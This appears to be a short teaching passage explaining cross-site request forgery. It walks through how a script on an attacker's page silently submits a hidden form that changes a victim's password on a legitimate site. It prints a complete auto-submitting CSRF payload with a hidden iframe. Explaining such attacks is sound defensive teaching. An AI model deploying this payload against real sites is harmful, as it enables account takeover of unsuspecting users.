

1. Alice's browser loads page from `hackerhome.org`
2. Evil Script runs causing `evilform` to be submitted with a password-change request to our "good" form: `www.mywwwservice.com/update_profile` with a `<input type="password" id="password">` field

### **evilform**

```
<form method="POST" name="evilform" target="hiddenframe"
  action="https://www.mywwwservice.com/update_profile">
  <input type="hidden" id="password" value="evilhax0r">
</form>
<iframe name="hiddenframe" style="display: none">
</iframe> <script>document.evilform.submit();</script>
```

3. Browser sends authentication cookies to our app. We're hoodwinked into thinking the request is from Alice. Her password is changed to **evilhax0r!**
